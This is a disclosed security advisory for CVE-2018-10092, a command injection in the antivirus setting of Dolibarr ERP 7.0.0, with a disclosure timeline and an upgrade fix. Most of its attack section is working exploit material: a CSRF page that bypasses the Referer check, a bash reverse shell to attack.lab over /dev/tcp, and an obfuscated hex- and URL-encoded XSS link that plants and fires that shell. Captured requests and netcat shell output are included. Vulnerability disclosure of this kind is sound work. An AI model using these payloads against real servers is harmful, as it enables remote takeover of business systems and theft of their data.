Description

Dolibarr is an "Open Source ERP & CRM for Business" used by many companies worldwide.

It is available through GitHub or as distribution packages (e.g .deb package).

Threat

By tricking a logged-in admin into clicking a malicious link, or by getting admin privileges in some other way, a remote attacker can achieve remote code execution (RCE) on the target server.

Expectation

User input should be filtered to avoid arbitrary OS command injection.

Arbitrary external commands should be defined in a configuration file which is not editable by an ERP user.

Vulnerability type

CVE ID: CVE-2018-10092

Access Vector: remote

Security Risk: high

Vulnerability: CWE-78

CVSS Base Score: 9.0

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Details

The admin panel allows to define an antivirus command and parameters, which are run every time a file is uploaded and scanned.

However, it is possible for an authenticated user to specify an arbitrary command to be run instead of the antivirus scanner. The injected command would be triggered after uploading a file to scan, which effectively leads to executing arbitrary code on the server.

The command to be run is stored in the config variables MAIN_ANTIVIRUS_COMMAND and MAIN_ANTIVIRUS_PARAM, which can be set by the admin through the Web interface.

Then, when a file is uploaded by a user, the function dol_move_uploaded_file() (defined in files.lib.php) is called:

function dol_move_uploaded_file($src_file, $dest_file, $allowoverwrite, $disablevirusscan=0, $uploaderrorcode=0, $nohook=0, $varfiles='addedfile')
{
    ... snip ...

    // If we need to make a virus scan
    if (empty($disablevirusscan) && file_exists($src_file))
    {
        $checkvirusarray=dolCheckVirus($src_file);
        if (count($checkvirusarray))
        {
           dol_syslog('Files.lib::dol_move_uploaded_file File "'.$src_file.'" (target name "'.$dest_file.'") KO with antivirus: result='.$result.' errors='.join(',',$checkvirusarray), LOG_WARNING);
           return 'ErrorFileIsInfectedWithAVirus: '.join(',',$checkvirusarray);
        }
    }

    ... snip ...

    return 1;   // Success
}

Which calls dolCheckVirus():

function dolCheckVirus($src_file)
{
    global $conf;

    if (! empty($conf->global->MAIN_ANTIVIRUS_COMMAND))
    {
        if (! class_exists('AntiVir')) {
            require_once DOL_DOCUMENT_ROOT.'/core/class/antivir.class.php';
        }
        $antivir=new AntiVir($db);
        $result = $antivir->dol_avscan_file($src_file);
        if ($result < 0)    // If virus or error, we stop here
        {
            $reterrors=$antivir->errors;
            return $reterrors;
        }
    }
    return array();
}

Which in turn calls dol_avscan_file() (defined in antivir.class.php), where the return value of getCliCommand() is passed to the exec() PHP function:

function dol_avscan_file($file)
    {
        global $conf;

        $return = 0;

        if (preg_match('/\.virus$/i', $file))
        {
            $this->errors='File has an extension saying file is a virus';
            return -97;
        }

        $fullcommand=$this->getCliCommand($file);
        //$fullcommand='"c:\Program Files (x86)\ClamWin\bin\clamscan.exe" --database="C:\Program Files (x86)\ClamWin\lib" "c:\temp\aaa.txt"';
        $fullcommand.=' 2>&1';      // This is to get error output

        $output=array();
        $return_var=0;
        $safemode=ini_get("safe_mode");
        // Create a clean fullcommand
        dol_syslog("AntiVir::dol_avscan_file Run command=".$fullcommand." with safe_mode ".($safemode?"on":"off"));
        // Run CLI command. If run of Windows, you can get return with echo %ERRORLEVEL%
        $lastline=exec($fullcommand, $output, $return_var);

        //print "x".$lastline." - ".join(',',$output)." - ".$return_var."y";exit;

        ... snip ...

        // If return code = 0
        return 1;
    }

The getCliCommand() routine uses the MAIN_ANTIVIRUS_COMMAND to format the antivirus command to be executed. Even though escapeshellarg() is used, it is possible for this variable to hold arbitrary shell commands which will be concatenated and executed:

function getCliCommand($file)
    {
        global $conf;

        $maxreclevel = 5 ;          // maximal recursion level
        $maxfiles = 1000;           // maximal number of files to be scanned within archive
        $maxratio = 200;            // maximal compression ratio
        $bz2archivememlim = 0;      // limit memory usage for bzip2 (0/1)
        $maxfilesize = 10485760;    // archived files larger than this value (in bytes) will not be scanned

        $command=$conf->global->MAIN_ANTIVIRUS_COMMAND;
        $param=$conf->global->MAIN_ANTIVIRUS_PARAM;

        $param=preg_replace('/%maxreclevel/',$maxreclevel,$param);
        $param=preg_replace('/%maxfiles/',$maxfiles,$param);
        $param=preg_replace('/%maxratio/',$maxratio,$param);
        $param=preg_replace('/%bz2archivememlim/',$bz2archivememlim,$param);
        $param=preg_replace('/%maxfilesize/',$maxfilesize,$param);
        $param=preg_replace('/%file/',trim($file),$param);

        if (! preg_match('/%file/',$conf->global->MAIN_ANTIVIRUS_PARAM))
            $param=$param." ".escapeshellarg(trim($file));

        if (preg_match("/\s/",$command)) $command=escapeshellarg($command); // Use quotes on command. Using escapeshellcmd fails.

        $ret=$command.' '.$param;
        //$ret=$command.' '.$param.' 2>&1';
        //print "xx".$ret."xx";exit;

        return $ret;
    }

Proof of Concept 1 : Exploiting CSRF control bypass

Dolibarr generates an anti-CSRF token which is not checked by default. Another control on the Referer header is also perfomed (in filefunc.inc.php):

// Security: CSRF protection
// This test check if referrer ($_SERVER['HTTP_REFERER']) is same web site than Dolibarr ($_SERVER['HTTP_HOST'])
// when we post forms (we allow GET to allow direct link to access a particular page).
// Note about $_SERVER[HTTP_HOST/SERVER_NAME]: http://shiflett.org/blog/2006/mar/server-name-versus-http-host
if (! defined('NOCSRFCHECK') && empty($dolibarr_nocsrfcheck))
{
    if (! empty($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] != 'GET' && ! empty($_SERVER['HTTP_HOST'])
    && (empty($_SERVER['HTTP_REFERER']) || ! preg_match('/'.preg_quote($_SERVER['HTTP_HOST'],'/').'/i', $_SERVER['HTTP_REFERER'])))
    {
        //print 'NOCSRFCHECK='.defined('NOCSRFCHECK').' REQUEST_METHOD='.$_SERVER['REQUEST_METHOD'].' HTTP_POST='.$_SERVER['HTTP_HOST'].' HTTP_REFERER='.$_SERVER['HTTP_REFERER'];
        print "Access refused by CSRF protection in main.inc.php. Referer of form is outside server that serve the POST.\n";
        print "If you access your server behind a proxy using url rewriting, you might check that all HTTP header is propagated (or add the line \$dolibarr_nocsrfcheck=1 into your conf.php file).\n";
        die;
    }
    // Another test is done later on token if option MAIN_SECURITY_CSRF_WITH_TOKEN is on.
}
if (empty($do

However, this controlled can be bypassed since the check only ensures the header contains the server's domain name in its URL. If the victim application is at http://dolibarr.lab, requesting from http://attack.lab/dolibar.lab/exploit.html would therefore bypass the control.

By tricking a logged-in admin into clicking our exploit link, we can therefore make him change the antivirus command to our exploit payload silently.

Here is a sample exploit page which will change the antivirus scan command to a reverse shell payload:

<html>
<body>

  <form action="http://dolibarr.lab:2080/dolibarr/admin/security_file.php" method="POST" id="form1" target="iframe1">
    <input type="hidden" name="action" value="updateform" />
    <input type="hidden" name="MAIN_UPLOAD_DOC" value="2048" />
    <input type="hidden" name="MAIN_UMASK" value="0664" />
    <input type="hidden" name="MAIN_ANTIVIRUS_COMMAND" value="test" />
    <input type="hidden" name="MAIN_ANTIVIRUS_PARAM" value=";/bin/bash -c '/bin/bash>/dev/tcp/attack.lab/4444 0>&1 2>&1 &'" />
    <input type="hidden" name="button" value="Modify" />
  </form>
  <iframe style="display: hidden" height="0" width="0" frameborder="0" name="iframe1"></iframe>

  <script>
    document.forms[0].submit();
  </script>
</body>
</html>

The file is hosted in a dolibarr.lab:2080 subdirectory so the Referer header will look similar to the following when the admin visits our page:

POST /dolibarr/admin/security_file.php HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attack.lab/RCE/dolibarr.lab:2080/
Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify

Hence the request is accepted by the Dolibarr application and the antivirus command is replaced with our payload. Next time a file is uploaded, a reverse shell is opened on our attacking machine:

POST /dolibarr/admin/security_file.php HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dolibarr.lab:2080/dolibarr/admin/security_file.php
Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------214479305914244921141324238339
Content-Length: 866

-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="section_dir"


-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="section_id"

0
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="token"

c2bf19bb9927006593e01e8cd1e08e10ef7a8605
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="max_file_size"

2097152
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="userfile[]"; filename="test.log"
Content-Type: text/x-log

foobarr

-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="sendit"

Send file
-----------------------------214479305914244921141324238339--
$ nc -lvp 4444
listening on [any] 4444 ...
192.168.0.15: inverse host lookup failed: Unknown host
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38080
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Proof of Concept 2 : Exploiting XSS vulnerability

By exploiting the XSS vulnerability on the application, it is possible to both set the antivirus command and upload a dummy file so as to trigger our payload immediately.

Here is an exploit code that will update the antivirus command to a reverse shell payload and trigger it with a file upload.

function stage1()
{
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http:\/\/dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);
    xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body = "action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
      aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
}

function stage2()
{
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);
    xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------13516173183538375091983714991");
    xhr.withCredentials = true;
    var body = "-----------------------------13516173183538375091983714991\r\n" +
    "Content-Disposition: form-data; name=\"userfile[]\"; filename=\"test.txt\"\r\n" +
    "Content-Type: text/plain\r\n" +
    "\r\n" +
    "foobar\r\n" +
    "-----------------------------13516173183538375091983714991\r\n" +
    "Content-Disposition: form-data; name=\"sendit\"\r\n" +
    "\r\n" +
    "Send file\r\n" +
    "-----------------------------13516173183538375091983714991--\r\n";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
}

stage1();
setTimeout(stage2, 2000);

To deliver it, we will hex encode it and paste it into our vulnerable XSS link:

hex decoder function

function hex2a(hex) {var str = "";for(var i = 0; i < hex.length;i+=2){str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));}return str;}

urlencoded twice

%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61
$ cat xssrce.js|xxd -ps|tr -d '\n'

66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a

Javascript payload

eval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))

Resulting exploit link

http://dolibarr.lab:2080/dolibarr/adherents/subscription/list.php?date_select=2018%3E%3Cimg+src%3dx+onerror%3deval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))%3E

By tricking an admin into visiting our link, we get a reverse shell on the Web server:

$ nc -lvp 4444
listening on [any] 4444 ...
192.168.0.15: inverse host lookup failed: Unknown host
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38504
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Affected versions

  • Version 7.0.0 (last stable version as of March 2018) - previous versions are probably also vulnerable but not tested

Solution

Update to 7.0.2 (changelog)

Timeline (dd/mm/yyyy)

  • 18/03/2018 : Initial discovery
  • 17/04/2018 : Contact with the editor
  • 17/04/2018 : Editor acknowledges the vulnerability
  • 18/04/2018 : Editor announces fixes in version 7.0.2
  • 21/05/2018 : Vulnerability disclosure

Credits

  • Kevin LOCATI (k dot locati at sysdream dot com)